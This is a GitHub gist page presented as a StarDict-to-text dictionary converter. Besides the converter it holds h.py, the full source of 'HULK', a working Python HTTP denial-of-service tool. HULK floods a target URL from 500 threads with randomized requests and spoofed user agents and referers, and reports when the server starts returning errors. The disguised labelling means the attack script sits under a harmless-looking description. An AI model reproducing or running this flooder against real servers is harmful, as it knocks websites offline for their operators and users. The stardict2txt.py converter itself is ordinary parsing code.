Skip to content

Instantly share code, notes, and snippets.

@hainh

hainh/h.py

Forked from rongyi/stardict2txt.py
Last active October 18, 2020 08:32
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hainh/c949669d3368b5726975028e6158774f to your computer and use it in GitHub Desktop.
Save hainh/c949669d3368b5726975028e6158774f to your computer and use it in GitHub Desktop.
Download ZIP
convert a stardict dictionary to txt
Raw
h.py
# ----------------------------------------------------------------------------------------------
# HULK - HTTP Unbearable Load King
#
# this tool is a dos tool that is meant to put heavy load on HTTP servers in order to bring them
# to their knees by exhausting the resource pool, its is meant for research purposes only
# and any malicious usage of this tool is prohibited.
#
# author : Barry Shteiman , version 1.0
# ----------------------------------------------------------------------------------------------
import urllib2
import sys
import threading
import random
import re
#global params
url=''
host=''
headers_useragents=[]
headers_referers=[]
request_counter=0
flag=0
safe=0
def inc_counter():
global request_counter
request_counter+=1
def set_flag(val):
global flag
flag=val
def set_safe():
global safe
safe=1
# generates a user agent array
def useragent_list():
global headers_useragents
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
return(headers_useragents)
# generates a referer array
def referer_list():
global headers_referers
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.usatoday.com/search/results?q=')
headers_referers.append('http://engadget.search.aol.com/search?q=')
headers_referers.append('http://' + host + '/')
return(headers_referers)
#builds random ascii string
def buildblock(size):
out_str = ''
for i in range(0, size):
a = random.randint(65, 90)
out_str += chr(a)
return(out_str)
def usage():
print '---------------------------------------------------'
print 'USAGE: python hulk.py <url>'
print 'you can add "safe" after url, to autoshut after dos'
print '---------------------------------------------------'
#http request
def httpcall(url):
useragent_list()
referer_list()
code=0
if url.count("?")>0:
param_joiner="&"
else:
param_joiner="?"
request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
request.add_header('User-Agent', random.choice(headers_useragents))
request.add_header('Cache-Control', 'no-cache')
request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
request.add_header('Keep-Alive', random.randint(110,120))
request.add_header('Connection', 'keep-alive')
request.add_header('Host',host)
try:
urllib2.urlopen(request)
except urllib2.HTTPError, e:
#print e.code
set_flag(1)
print 'Response Code 500'
code=500
except urllib2.URLError, e:
#print e.reason
sys.exit()
else:
inc_counter()
urllib2.urlopen(request)
return(code)
#http caller thread
class HTTPThread(threading.Thread):
def run(self):
try:
while flag<2:
code=httpcall(url)
if (code==500) & (safe==1):
set_flag(2)
except Exception, ex:
pass
# monitors http threads and counts requests
class MonitorThread(threading.Thread):
def run(self):
previous=request_counter
while flag==0:
if (previous+100<request_counter) & (previous<>request_counter):
print "%d Requests Sent" % (request_counter)
previous=request_counter
if flag==2:
print "\n-- HULK Attack Finished --"
#execute
if len(sys.argv) < 2:
usage()
sys.exit()
else:
if sys.argv[1]=="help":
usage()
sys.exit()
else:
print "-- HULK Attack Started --"
if len(sys.argv)== 3:
if sys.argv[2]=="safe":
set_safe()
url = sys.argv[1]
if url.count("/")==2:
url = url + "/"
m = re.search('http\://([^/]*)/?.*', url)
host = m.group(1)
for i in range(500):
t = HTTPThread()
t.start()
t = MonitorThread()
t.start()
Raw
stardict2txt.py
#!/usr/bin/python
# -*- coding: utf-8 -*-
import struct
import types
import gzip
class IfoFileException(Exception):
"""Exception while parsing the .ifo file.
Now version error in .ifo file is the only case raising this exception.
"""
def __init__(self, description="IfoFileException raised"):
"""Constructor from a description string.
Arguments:
- `description`: a string describing the exception condition.
"""
self._description = description
def __str__(self):
"""__str__ method, return the description of exception occured.
"""
return self._description
class IfoFileReader(object):
"""Read infomation from .ifo file and parse the infomation a dictionary.
The structure of the dictionary is shown below:
{key, value}
"""
def __init__(self, filename):
"""Constructor from filename.
Arguments:
- `filename`: the filename of .ifo file of stardict.
May raise IfoFileException during initialization.
"""
self._ifo = dict()
with open(filename, "r") as ifo_file:
self._ifo["dict_title"] = ifo_file.readline().strip() # dictionary title
line = ifo_file.readline() # version info
key, equal, value = line.partition("=")
key = key.strip()
value = value.strip()
# check version info, raise an IfoFileException if error encounted
if key != "version":
raise IfoFileException(
"Version info expected in the second line of {!r:s}!".format(
filename))
if value != "2.4.2" and value != "3.0.0":
raise IfoFileException(
"Version expected to be either 2.4.2 or 3.0.0, but {!r:s} read!".format(
value))
self._ifo[key] = value
# read in other infomation in the file
# all values are all string
for line in ifo_file:
key, equal, value = line.partition("=")
key = key.strip()
value = value.strip()
self._ifo[key] = value
# check if idxoffsetbits should be discarded due to version info
if self._ifo[
"version"] == "3.0.0" and "idxoffsetbits" in self._ifo:
del self._ifo["version"]
def get_ifo(self, key):
"""Get configuration value.
Arguments:
- `key`: configuration option name
Return:
- configuration value corresponding to the specified key if exists, otherwise False.
"""
if key not in self._ifo:
return False
return self._ifo[key]
def dump(self):
"""debug function"""
for k, v in self._ifo.iteritems():
if type(v) is not str:
v = str(v)
print("%s: %s" % (k, str(v)))
class IdxFileReader(object):
"""Read dictionary indexes from the .idx file and store the indexes in a list and a dictionary.
The list contains each entry in the .idx file, with subscript indicating the entry's origin index in .idx file.
The dictionary is indexed by word name, and the value is an integer or a list of integers pointing to
the entry in the list.
"""
def __init__(self, filename, compressed=False, index_offset_bits=32):
"""
Arguments:
- `filename`: the filename of .idx file of stardict.
- `compressed`: indicate whether the .idx file is compressed.
- `index_offset_bits`: the offset field length in bits.
"""
if compressed:
with gzip.open(filename, "rb") as index_file:
self._content = index_file.read()
else:
with open(filename, "r") as index_file:
self._content = index_file.read()
self._offset = 0
self._index = 0
self._index_offset_bits = index_offset_bits
self._word_idx = dict()
self._index_idx = list()
for word_str, word_data_offset, word_data_size, index in self:
self._index_idx.append((word_str, word_data_offset, word_data_size))
if word_str in self._word_idx:
if isinstance(self._word_idx[word_str], types.ListType):
self._word_idx[word_str].append(len(self._index_idx) - 1)
else:
self._word_idx[word_str] = [self._word_idx[word_str], len(self._index_idx) - 1]
else:
self._word_idx[word_str] = len(self._index_idx) - 1
del self._content
del self._index_offset_bits
del self._index
def __iter__(self):
"""Define the iterator interface.
"""
return self
def next(self):
"""Define the iterator interface.
"""
if self._offset == len(self._content):
raise StopIteration
word_data_offset = 0
word_data_size = 0
end = self._content.find("\0", self._offset)
# word_str process
word_str = self._content[self._offset:end]
self._offset = end + 1
# word_data_offset
if self._index_offset_bits == 64:
word_data_offset, = struct.unpack("!I", self._content[self._offset:self._offset + 8])
self._offset += 8
elif self._index_offset_bits == 32:
word_data_offset, = struct.unpack("!I", self._content[self._offset:self._offset + 4])
self._offset += 4
else:
raise ValueError
# word_data_size
word_data_size, = struct.unpack("!I", self._content[self._offset:self._offset + 4])
self._offset += 4
self._index += 1
return (word_str, word_data_offset, word_data_size, self._index)
def get_index_by_num(self, number):
"""Get index infomation of a specified entry in .idx file by origin index.
May raise IndexError if number is out of range.
Arguments:
- `number`: the origin index of the entry in .idx file
Return:
A tuple in form of (word_str, word_data_offset, word_data_size)
"""
if number >= len(self._index_idx):
raise IndexError(
"Index out of range! Acessing the {:d} index but totally {:d}".format(
number, len(self._index_idx)))
return self._index_idx[number]
def get_index_by_word(self, word_str):
"""Get index infomation of a specified word entry.
Arguments:
- `word_str`: name of word entry.
Return:
Index infomation corresponding to the specified word if exists, otherwise False.
The index infomation returned is a list of tuples, in form of [(word_data_offset, word_data_size) ...]
"""
if word_str not in self._word_idx:
return False
number = self._word_idx[word_str]
index = list()
if isinstance(number, types.ListType):
for n in number:
index.append(self._index_idx[n][1:])
else:
index.append(self._index_idx[number][1:])
return index
def dump_word(self):
for word_str in index._word_idx:
print word_str, ": ", index.get_index_by_word(word_str)
class SynFileReader(object):
"""Read infomation from .syn file and form a dictionary as below:
{synonym_word: original_word_index}, in which 'original_word_index' could be a integer or
a list of integers.
"""
def __init__(self, filename):
"""Constructor.
Arguments:
- `filename`: The filename of .syn file of stardict.
"""
self._syn = dict()
with open(filename, "r") as syn_file:
content = syn_file.read()
offset = 0
while offset < len(content):
end = content.find("\0", offset)
synonym_word = content[offset:end]
offset = end
original_word_index = struct.unpack("!I",
content[offset, offset + 4])
offset += 4
if synonym_word in self._syn:
if isinstance(self._syn[synonym_word], types.ListType):
self._syn[synonym_word].append(original_word_index)
else:
self._syn[synonym_word] = [self._syn[synonym_word],
original_word_index]
else:
self._syn[synonym_word] = original_word_index
def get_syn(self, synonym_word):
"""
Arguments:
- `synonym_word`: synonym word.
Return:
If synonym_word exists in the .syn file, return the corresponding indexes, otherwise False.
"""
if synonym_word not in self._syn:
return False
return self._syn[synonym_word]
class DictFileReader(object):
"""Read the .dict file, store the data in memory for querying.
"""
def __init__(self, filename, dict_ifo, dict_index, compressed=False):
"""Constructor.
Arguments:
- `filename`: filename of .dict file.
- `dict_ifo`: IfoFileReader object.
- `dict_index`: IdxFileReader object.
"""
self._dict_ifo = dict_ifo
self._dict_index = dict_index
self._compressed = compressed
self._offset = 0
if self._compressed:
with gzip.open(filename, "rb") as dict_file:
self._dict_file = dict_file.read()
else:
with open(filename, "rb") as dict_file:
self._dict_file = dict_file.read()
def get_dict_by_word(self, word):
"""Get the word's dictionary data by it's name.
Arguments:
- `word`: word name.
Return:
The specified word's dictionary data, in form of dict as below:
{type_identifier: infomation, ...}
in which type_identifier can be any character in "mlgtxykwhnrWP".
"""
result = list()
indexes = self._dict_index.get_index_by_word(word)
if indexes == False:
return False
sametypesequence = self._dict_ifo.get_ifo("sametypesequence")
for index in indexes:
self._offset = index[0]
size = index[1]
if sametypesequence:
result.append(self._get_entry_sametypesequence(size))
else:
result.append(self._get_entry(size))
return result
def dump(self, save_file):
""""dump all word"""
with open(save_file, 'w+') as f:
for w in self._dict_index._word_idx:
meaning_lst = self.get_dict_by_word(w)
# print('--------------------------------')
# print(w)
# print(self.get_dict_by_word(w))
# print('--------------------------------')
f.write(w)
f.write(':')
for m in meaning_lst:
f.write(" ".join(m.values()))
f.write(" ")
f.write('\n------\n')
def get_dict_by_index(self, index):
"""Get the word's dictionary data by it's index infomation.
Arguments:
- `index`: index of a word entrt in .idx file.'
Return:
The specified word's dictionary data, in form of dict as below:
{type_identifier: infomation, ...}
in which type_identifier can be any character in "mlgtxykwhnrWP".
"""
word, offset, size = self._dict_index.get_index_by_num(index)
self._offset = offset
sametypesequence = self._dict_ifo.get_ifo("sametypesequence")
if sametypesequence:
return self._get_entry_sametypesequence(size)
else:
return self._get_entry(size)
def _get_entry(self, size):
result = dict()
read_size = 0
start_offset = self._offset
while read_size < size:
type_identifier, = struct.unpack("!c", self._dict_file[self._offset:self._offset+1])
self._offset += 1
# type_identifier = str(type_identifier)
# print(type_identifier)
if type_identifier in "mlgtxykwhnr":
result[type_identifier] = self._get_entry_field_null_trail()
else:
result[type_identifier] = self._get_entry_field_size()
read_size = self._offset - start_offset
return result
def _get_entry_sametypesequence(self, size):
start_offset = self._offset
result = dict()
sametypesequence = self._dict_ifo.get_ifo("sametypesequence")
for k in range(0, len(sametypesequence)):
# the last field has no tailing '\0'
if sametypesequence[k] in "mlgtxykwhnr":
if k == len(sametypesequence) - 1:
result[sametypesequence[k]] = self._get_entry_field_size(size - (self._offset - start_offset))
else:
result[sametypesequence[k]] = self._get_entry_field_null_trail()
elif sametypesequence[k] in "WP":
if k == len(sametypesequence) - 1:
result[sametypesequence[k]] = self._get_entry_field_size(size - (self._offset - start_offset))
else:
result[sametypesequence[k]] = self._get_entry_field_size()
return result
def _get_entry_field_null_trail(self):
end = self._dict_file.find("\0", self._offset)
result = self._dict_file[self._offset:end]
self._offset = end + 1
return result
def _get_entry_field_size(self, size=None):
# for the 'W' 'P' case
if size is None:
size, = struct.unpack("!I", self._dict_file[self._offset:self._offset + 4])
self._offset += 4
result = self._dict_file[self._offset:self._offset + size]
self._offset += size
return result
if __name__ == '__main__':
# download stardict dictionary from: http://kdr2.com/resource/stardict.html
# ifo_file = "/tmp/stardict-HanYuChengYuCiDian-new_colors-2.4.2/HanYuChengYuCiDian-new_colors.ifo"
# idx_file = "/tmp/stardict-HanYuChengYuCiDian-new_colors-2.4.2/HanYuChengYuCiDian-new_colors.idx"
# dict_file = "/tmp/stardict-HanYuChengYuCiDian-new_colors-2.4.2/HanYuChengYuCiDian-new_colors.dict.dz"
# ifo_file = "/tmp/stardict-xiandaihanyucidian_fix-2.4.2/xiandaihanyucidian_fix.ifo"
# idx_file = "/tmp/stardict-xiandaihanyucidian_fix-2.4.2/xiandaihanyucidian_fix.idx"
# dict_file = "/tmp/stardict-xiandaihanyucidian_fix-2.4.2/xiandaihanyucidian_fix.dict.dz"
# ifo_file = "/tmp/stardict-xhzd-2.4.2/xhzd.ifo"
# idx_file = "/tmp/stardict-xhzd-2.4.2/xhzd.idx"
# dict_file = "/tmp/stardict-xhzd-2.4.2/xhzd.dict.dz"
ifo_file = "/tmp/stardict-xdict-ec-gb-2.4.2/xdict-ec-gb.ifo"
idx_file = "/tmp/stardict-xdict-ec-gb-2.4.2/xdict-ec-gb.idx"
dict_file = "/tmp/stardict-xdict-ec-gb-2.4.2/xdict-ec-gb.dict.dz"
# info read test done
info = IfoFileReader(ifo_file)
# info.dump()
# index read test
index = IdxFileReader(idx_file)
# index.dump_word()
# dict test
dict_reader = DictFileReader(dict_file, info, index, True)
dict_reader.dump("/tmp/test4.txt")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment